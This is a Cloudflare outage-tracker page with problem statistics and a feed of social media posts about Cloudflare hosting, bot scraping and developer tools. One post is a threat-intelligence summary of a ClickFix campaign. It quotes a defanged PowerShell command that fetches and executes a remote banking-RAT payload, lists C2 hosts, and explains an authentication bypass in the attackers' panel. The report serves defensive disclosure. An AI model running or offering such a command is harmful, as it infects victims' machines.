Cloudflare status: hosting issues and outage reports
No problems detected
If you are having issues, please submit a report below.
Cloudflare is a company that provides DDoS mitigation, content delivery network (CDN) services, security and distributed DNS services. Cloudflare's services sit between the visitor and the Cloudflare user's hosting provider, acting as a reverse proxy for websites.
Problems in the last 24 hours
The graph below depicts the number of Cloudflare reports received over the last 24 hours by time of day. When the number of reports exceeds the baseline, represented by the red line, an outage is determined.
At the moment, we haven't detected any problems at Cloudflare. Are you experiencing issues or an outage? Leave a message in the comments section!
Most Reported Problems
The following are the most recent problems reported by Cloudflare users through our website.
- Domains (35%)
- Cloud Services (30%)
- Hosting (19%)
- Web Tools (11%)
- E-mail (5%)
Live Outage Map
The most recent Cloudflare outage reports came from the following cities:
| City | Problem Type | Report Time |
|---|---|---|
|
|
Cloud Services | 8 days ago |
|
|
Domains | 10 days ago |
|
|
Hosting | 23 days ago |
|
|
23 days ago | |
|
|
Web Tools | 23 days ago |
|
|
Cloud Services | 24 days ago |
Community Discussion
Tips? Frustrations? Share them here. Useful comments include a description of the problem, city and postal code.
Beware of "support numbers" or "recovery" accounts that might be posted below. Make sure to report and downvote those comments. Avoid posting your personal information.
Cloudflare Issues Reports
Latest outage, problems and issue reports in social media:
-
special k | CEO of stressed out era (@specialkdelslay) reported@DispairSoftware @DataDeLaurier No no, I am showing the IPs of the ones hitting our site. They belong to openai (afaik). Cloudflare has helped with some of the bot activity but not all of it. I think they make the assumption that openai, claud, et al are good actors who will honor txt directives, when I can see for sure they are not. What he was telling me is to tunnel connections thru cloudflare and host privately but those things wouldn't mitigate this particular issue
-
Mike Chong (@realMikeChong) reported@wongmjane @Cloudflare so what? As long as it solves problems
-
Kolorguide (@Kolorguide) reported@Hostinger Yesterday I upgraded my hosting plan. My website was operating normally before the upgrade. Immediately after the upgrade, the site became unavailable with Cloudflare 525 errors. DNS, SSL and server checks have been completed, but human support and ticket escalation are currently unavailable due to a reported support platform issue. Can someone from Hostinger please review this case or advise how customers can obtain technical assistance during the support platform outage? #Hostinger #WebHosting #Support
-
Coyote (@8bit5_0) reported@benlandautaylor the only tech layoff that can’t be explained by bad financials (either due to post ZIRP overhang or increased AI capex) seems to be Cloudflare. So I guess not for tech really
-
Malte Landwehr (@MalteLandwehr) reported@EddCoates So many solutions: · Cloudflare/CDN · Caching · Free API without authentication I once worked for a website with 90% bot traffic. This issue is manageable.
-
Tom Talks Cars (@TomTalksCars) reported@EddCoates Cloudflare AI Crawl Control is pretty decent at cutting things down
-
KarenR (@heykarenrc) reportedWhen I built d1-studio, I was still early in my transition from UX to development. At first, I just wanted the simplest stack possible. Something lean. Something affordable. Something I could build with fast. Like many new devs, I started with the familiar stack: Next.js. Supabase. Vercel. AI helping me along the way. Supabase was great to get started. I still like it. But as I built more products, I started noticing the small costs and tradeoffs that you only understand after shipping. Storage. Egress. Deployment limits. The usual “newbie learns the hard way” stuff. That pushed me to look for a stack that fit how I wanted to build. Then I found Cloudflare. Workers. Pages. D1. R2. Queues. Generous free tier. Simple deployment. Close to the edge. I slowly moved more of my projects there and never really looked back. But there was one thing that kept slowing me down: Cloudflare D1 local development. D1 is great, but working with the database locally felt too slow. I didn’t want to keep jumping between CLI commands just to inspect tables, edit rows, run SQL, or check data while building. I also didn’t want a tool that required a long setup. My thinking was simple: The database is already in my Cloudflare project. The wrangler.toml is already there. Why can’t a studio just detect it and work? That became the trigger for D1 Studio. A native database studio for Cloudflare D1. No complicated setup. No extra database connection string. No heavy workflow. Just run it inside your project and start working with your D1 database faster. You can inspect tables, edit data, run SQL, and work with local or remote D1 without fighting the CLI every few minutes. It started as a tool I needed for myself. Now it’s getting used by other Cloudflare developers too. This week it hit 311 weekly downloads. Not a huge number in the grand scheme of things, but for me it means a lot. Because this is the first product I built that truly came from my own pain. Not a random idea. Not a trend. Not something I forced. Just a problem I kept hitting until I finally built the tool I wished existed. That’s been the biggest lesson for me as I move from design into development: The best products are often not born from brainstorming. They come from friction. Something feels slower than it should. Something takes too many steps. Something breaks your flow. And eventually you think: “There has to be a better way.” That’s how D1 Studio started. And seeing people use it for their own Cloudflare projects is still one of the best feelings.
-
starmex (@starmexxx) reportedWHY WASTE 16 MINUTES OF YOUR TIME ON THIS AI ENGINEER EUROPE TALK WHEN I CUT THE 5 BEST MOMENTS INTO 4 MINUTES FOR YOU bright data engineer exposed why your ai agent lies about searching the web. cloudflare blocks 20% of web from ai. 60% of chatgpt citations are broken. agents hallucinate instead of saying "i can't" 00:00 - llms are programmed to please. they make things up instead of saying "i can't" 00:42 - cloudflare blocks 20% of web. 60% of chatgpt citations are broken 02:03 - gpt-5 fails all 5 web tasks without proper tools. zero out of five 02:42 - cloudflare labyrinth feeds ai fake data. bigger hallucinations 03:13 - don't parse with llm. build a parser. saves 99% of tokens bookmark this and watch the supercut below
-
Jay (@jaypopat0) reported@FredKSchott Btw, would Flue support something like "Cloudflare Think"-style cloud agents as well? Curious if there are nice integrations with Cloudflare primitives (Workers, Durable Objects, Queues, etc.) for workflows and the overall agent harness.
-
DFIR Radar (@DFIR_Radar) reportedAI-generated ClickFix lure impersonates a Brazilian 🇧🇷 bank to drop SmartRAT, a PowerShell banking RAT with QR-swap, keylogging, and fake overlay capabilities. The C2 panel had no server-side auth. Key findings: - Full infection chain: typosquatting domain cartaobb[.]com mimics cartaobrb[.]com[.]br, fake Cloudflare CAPTCHA triggers clipboard injection, fake BSOD locks the browser, then victim pastes: powershell "$k8='hxxp://64[.]95[.]13[.]238/st.txt';iex(irm $k8)" into Run. Three-stage PowerShell dropper pulls payload[.]php, AES-CBC decrypts SmartRAT in memory. Hashes: st.txt 297eb45f028d44d750297d2f932b9c91, RAT b17ccdb5531555e43f082d6e77c07227. - SmartRAT (SMART_V25) persists as scheduled task or Windows service named MicrosoftEdgeUpdateCore (T1543.003), copies itself to %APPDATA%\Microsoft\Diagnosis\ETW\msedgeupdate.txt, logs all activity to C:\ProgramData\Microsoft\Diagnosis\ETW\client_debug.log and per-PID logs. - C2 at c[.]windowsupdate-cdn[.]com port 51888 (fallback 162[.]141[.]111[.]227), AES-CBC encrypted over raw TCP. QR-swap feature overlays attacker QR at exact pixel coordinates of the legitimate banking QR to redirect transactions. Monitors window titles for santander, bradesco, itau, nubank, binance, and a dozen more. - The C2 panel (branded MyGood PRO) bypasses auth by checking only localStorage values authToken and currentUser client-side with no server validation, exposing the full admin panel to anyone who sets those keys. #DFIR_Radar
-
Calvin (@Calvin24seven) reported@EddCoates Honeypots, cloudflare, fingerprinting, not giving so much value away for free would help. Site is great btw
-
Jeff Needles (@jsneedles) reported@Hussain_Joe @_ceifa Well, the key is its pretty much managed, just not e2e. Like it's Cloudflare Workers + pipelines + queues -> CH cloud. All managed services! Just the raw volume makes most "pure" managed analytics providers extremely prohibitive -- like prob 10x the cost at least. Of course, there's other options that are really self hosted that are less analytics-focused... or things that rely more on object storage as the source of truth (like R2 SQL, which would actually prob be cheaper) But I've put in maybe 10 hours of necessary maitenance in the last year, occasionally the analyst who uses the system will ping me for questions/advice etc -- but raw infra/system wise, like 0 issues!
-
oops (@fataloops) reported@EddCoates I have a (conspiracy) theory about this- Cloudflare is the one doing the scraping, millions of requests Your only option is to use cloudflare or take down the site
-
Brandon Bedford (@wealthpotion) reported"Claude is down" is the new "Cloudflare is down" except way worse.
-
Zerops (@zeropsio) reported@shubh19 @isha_singh06 Hey! Zerops fits the Railway/Render slot when the backend needs managed Postgres/Valkey on a private network next to it, hardware-priced. Pair it with Cloudflare for static the same way.
-
Derek Martin 🇨🇦 (@lo_fye) reported@yashmp2004 Your cache busting and/or expiration is broken. Cloudflare is down. Your hosting’s network connection is shoddy, or oversaturated. A backup or clone process is hammering the disk. There’s a race condition that wasn’t triggered until now. When in doubt, check replication status.
-
POKE6900 (@poke6900gg) reportedWe are aware the website is down and due to this the apps aren't working as they should. This is due to a Cloudflare issue and we are working on a solution to get everything back online a.s.a.p.
-
David Herrmann (@herrmanndigital) reportedMeta ads in 2015: 1. Take a photo of product with iPhone. Open Power Editor, launch ad in under 2 mins. 2. Refresh PE and see 1:1 conversions in under an hour, scale within 3-4 hrs. 3. Spend the rest of the day coming up with fun ideas for new offers, new landing page ideas, new product ideas, new copy ideas. Meta ads in 2026: 1. Hire creative strategist -> Who hire creative agencies / editors -> who build batches of creative. 2. Open ads manager, go through 25-30 prompts of things you have really no clue about, but Meta is insistent it'll lower your CPA by 7.9% based on a study from 2 advertisers in 2022. Click publish after 1 hr of building out 10 new concepts. 3. You're then hit with an error publish with messages like: "you have no shops select," or "you don't have page permissions," or "this creative has expired, please try a new one" you finally are able to hit publish. 4. Finally, you can go on with your day. But wait, client sees that they are getting discounts on the ads you just launched coming in. You open up ads manager and go to ad level to go through multiple areas to figure out why. 5. Ah, Meta has randomly turned the promotions automatically on. No worries, you pause it. On with your day. 6. Someone who knows someone at the company for whose ads you just launched flags to friend that the ads are appearing with a dubstep version of a Beethoven song and seem out of touch for the brand. You're then texted to go pause the music. 7. Open ads manager, navigate to ad level, pause music. You're then hit with a prompt from Meta: "WHY ARE YOU TURNING THIS OFF?!" You hastily respond, "BECAUSE IT SUCKS!" 8. Visibly irritated now over Meta you finally settle in to do the other part of your job, analysis! 9. But wait, there appears to be an outage! Everyone texting, "Is Shopify down?," "Is it Cloudflare?," "Is it AWS?," "No! It's Meta!" Ok, well now you're in fight of flight. Should we wait? Should we pause? Let's wait, yeah let's wait. This is just a minor blip. 10. Meanwhile you're not left refreshing things every 5 min instead of doing analysis and research. Finally, it is night time and you can relax (not)! On this particular day you managed to launch 10 ad sets and do nothing else. Feeling defeated because what once took 2-5 min to do now feels daunting. It feels like you now spend the majority of your day in defense mode. Not because the work has changed or the people, but the process for doing it all has. And that's why you're feeling burnt out media buying friends and creative friends.
-
sunil pai (@threepointone) reportedis there interest in a 4k+ word deep dive in building reliable agent loops (on cloudflare and elsewhere) writing down what I've done for building agents resilient to catastrophic failures on clients/servers/inference (with zero user code) and I need to get it out of my brain
-
Jose (@SolutionsCay) reportedTwo changes to how I work with agents: 1. GitHub App so the agents manage issues directly. Keeps the repo clear of throwaway spec and todo files. 2. EmDash (Cloudflare's serverless WordPress successor) for internal docs. Runs on D1, just SQLite under the hood, so I can export the content and move it anywhere. No more docs sprawl.
-
Mark Dembo (@darkmembo) reportedi am so proud working at @Cloudflare. i have never experienced anything like it. people do whatever it takes to make customers happy. shipping fixes, improvements or entirely new services (!) timelines are hours or days for small things. weeks for bigger ones.
-
Yi (@imhaoyi) reportedOracle’s 4-core 24GB setup for Hermes was overkill and not worth it. Just migrated everything over to Google Cloud’s free tier today — a basic 2 vCPU, 1GB RAM VM. The standard network tier gives 200GB egress per month (no CDN or Cloudflare needed). More than enough. Only three regions offer free VMs. Picked us-west1 since it’s closest to Asia. e2-micro machine type, standard persistent disk up to 30GB, network tier set to standard for the bandwidth. Allow HTTP/HTTPS in the firewall, disable disk protection, and skip Ops Agent — those two are paid features. Migration was straightforward. Installed Hermes on the new VM, packed up what I needed from the old server, uploaded and extracted it, then ran hermes doctor and hermes setup. That’s it.
-
IJav (@javmung) reported@MSU_NW_FANG @MaplestoryU @nexpacetime Also need to test WARP From CLoudflare.. that helps a lot. But most likely is his/her ISP. mine was disconencting a lot, they did reset my NAT, and assigned me a public IP address, and problems are gone.. so routing probably the problem.
-
sco2084 (@vega_yaa) reported@rohit_jsfreaky What if I subscribe to private DNS servers ..... let's say cloudflare? Will that help? I mean I'll put those DNS swrvers in my laptops TCP/IP config with ISP provider for my home internet.
-
Tushar Dwivedi (@tush_2708) reported@SayantikaSays Try @BSNLCorporate . And I am not joking. It is best if it's available in your area. No BS service. I never heard these lines from BSNL, which I kept hearing from other providers like Jio and Airtel. "We won't give you the router password" "You can't use your own router, even if ours is ******. What do you mean you have a better router and modem? Hou must pay us a subscription for this mesh thing instead" "No, you can't use Google or CloudFlare's DNS, you must use ours. What if it's slow? If you change, how will we snoop on you and inject our advertisements into your browser?" "No, you can't open a port for you. For that, you must buy a static IP from us. Why is a static IP needed to open a port? Who knows. But we won't allow it unless you pay us extra" In the last 3 years, I have only had 2 outages on BSNL, 30-40 minutes max. While on Airtel, I had caught their staff removing my cable from their box and adding a new one for a new connection, and then making me wait till they finally got a new box after a week. They just didn't want to make a new customer wait, so they simply assigned my slot to them. And their customer care and local staff wasn't even ready to accept it, unless I showed the CCTV footage and a video of my cable literally being thrown on the side of their box, not even connected, while they were claiming that there's some backend issue.
-
Maaz Perwez (@MaazMz) reported@Aurarri How is it easier to install another app and then turn it on rather than doing it inside the app for which I want to use proxy? Plus cloudflare will control all of my network while telegram proxy only changes telegram...
-
Nav Toor (@heynavtoor) reportedThe Dead Internet Theory was a conspiracy. The idea that the internet is no longer human. That bots and AI have quietly replaced real people. It started on anonymous message boards in 2019. Most people dismissed it. Stanford, Imperial College London, and the Internet Archive just measured it. They used the Wayback Machine to scan every new website published between 2022 and 2025. Thirty-three months of the internet, captured and classified. They applied one of the most advanced AI text detectors in the world to every page. 35.3% of all newly published websites were AI-generated or AI-assisted. 17.6% were completely AI-generated. No human involvement at all. In late 2022, before ChatGPT launched, that number was zero. In three years, more than a third of the new internet became synthetic. Not over decades. Not over a generation. Three years. Then they measured what that is doing to the internet itself. Semantic diversity is falling. The range of ideas, perspectives, and ways of saying things is narrowing. As AI content increases, the internet sounds more and more like one voice. Because it is one voice. The same models producing the same patterns across millions of pages. Positive sentiment is rising. Everything sounds upbeat. Polished. Confident. Helpful. The internet is getting friendlier while getting emptier. The tone improves as the substance disappears. The lead researcher, Jonáš Doležal at Imperial College London, said this to 404 Media: "I find the sheer speed of the AI takeover of the web quite staggering. After decades of humans shaping it, a significant portion of the internet has become defined by AI in just three years." Separately, Cloudflare reported that nearly a third of all internet traffic now comes from bots. Imperva reported that automated traffic surpassed human traffic for the first time in 2024. If you read my previous threads on Model Collapse and Retrieval Collapse, this is the final chapter. Model Collapse showed that AI trained on AI gets dumber. Retrieval Collapse showed that search engines indexing AI content get emptier. This paper shows the source of both problems. The internet itself is being replaced. The researchers are now working with the Internet Archive to build a live monitoring tool. A real-time tracker of how much of the internet is human and how much is not. The fact that we need a tool to measure how much of the internet is still real is the finding.
-
Symedia (@Symedia_) reported@rickyrickyriri @SimonAlmers @AliGrids it's not a work email but a domain email look at tld-list buy a 1$ domain and get a cloudflare email. fixed the problem in few hours.
-
ƒrαeყ (@fraey0) reportedit costs about $21/month to run what could become a multi-million dollar startup • human brain = reasoning (free) • claude = coding ($20/mo) • supabase = backend (free) • vercel = deployment (free) • namecheap = domain ($12/yr) • stripe = payments (2.9%/trx) • github = versioning (free) • resend = email (free) • clerk = auth (free) • cloudflare = DNS (free) • posthog = analytics (free) • sentry = error tracking (free) • upstash = redis (free) • pinecone = vector DB (free) everything sums up to roughly $20 to $25 per month so, the tools are not the barrier anymore. most ideas don’t fail because they’re expensive to build. they fail because they never get built at all. what’s stopping you?
-
./can (@shcansh) reportedAdding validity checks for Azure and Salesforce tokens is the real win in the latest secret scanning updates. Instead of chasing ghosts, devs can now see if a leaked credential is still active. But with 11 GitLab token types added and new blocks for Cloudflare, we are putting a lot of trust in automated regex. Are active validity checks actually enough to stop the leak crisis, or are we just treating the symptoms of a broken secret-management culture?